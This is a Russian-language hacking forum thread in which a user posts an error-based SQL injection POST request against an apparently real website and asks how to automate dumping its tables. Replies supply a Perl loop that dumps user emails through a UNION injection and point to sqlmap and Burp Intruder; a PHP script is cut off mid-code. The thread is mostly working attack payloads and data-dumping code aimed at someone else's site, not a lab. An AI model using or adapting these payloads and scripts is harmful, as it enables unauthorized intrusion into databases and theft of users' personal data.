PDA

Просмотр полной версии : Как автоматизировать выборку с limit?


kacergei
12.11.2015, 23:23
Всем добрый,

подскажите как автоматизировать выборку таблиц/колонок/данных

Например сейчас делаю запрос:


Code:
POST /okna/pvh/zakaz/ HTTP/1.0
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53
Host: www.mysiteokna.ru
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: identity, *;q=0

Zakaz[okno][]=1" and(UpdateXML(0x03b,concat(0x3b,(select table_name FROM information_schema.tables limit 0,1)),0x3b))="

Выдает:


Code:
CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ';CHARACTER_SETS'

Так то в ручную вытащил чуть больше 400 таблиц и колонки начал, но что то уже руки отваливаются)

Можете посоветовать какой-нибудь скрипт, кто как в таких ситуациях поступает?

Идеальный вариант на perl/pythone (так как больше за пингвином сижу, иногда win)

faza02
13.11.2015, 01:58
тут несколько строчек писать на питоне, urllib + re, да и sqlmap должен справится с задачей, ничего специфичного нет.

kacergei
13.11.2015, 02:13
Находил подобный вариант:


Code:
#!/usr/bin/perl
use LWP::Simple; #подгружаем пакет LWP::Simple для работы с http
open(FH,">dump.txt"); #открываем файл на запись
$lim=0; # предопределяем переменную $lim которая будет участвовать в запросе в
качестве limit

while(1) { #начинаем бесконечный цикл

$url="http://www.example.com/profile.php?id=-1+union+select+concat('c0de',email,'ed0c')+from+us ers+limit+$lim,1";
# Здесь мы указываем где именно находится SQL-инъекция, обрати внимание на объединение поля e-mail со строками, они будут использоваться регулярных выражениях
$content = get("$url"); # выполним функцию get(), Она вернет содержимое загруженной страницы
if($content =~ m/c0de(.*)ed0c/) { # c помощью регулярки вытаскиваем значение поля email
print FH $1."\n"; # и заносим его в файл
$lim++; # увеличиваем значение переменой $lim на единицу
} else { # если в исходном коде нет записей
print 'Total dumped ' . $lim; # выводим общее количество сдампленых записей
exit; # и прекращаем работу скрипта
}
}

Но как переделать в POST запрос в perl непредставляю

nopony
13.11.2015, 04:11
Если не в силах сам написать, то используй такую программу как BurpSuite /threads/430401/ (https://antichat.live/threads/430401/) , в частности вкладка intruder, она уж точно решит твою задачу

winstrool
13.11.2015, 13:03
Как пример реализации на пхп:

[PHP]
PHP:
[COLOR="#0000BB"]set_time_limit(0);

$limit='100';//Указать лимит
$url="http://localhost/test.php";

for($i=0;$i[COLOR="#007700"]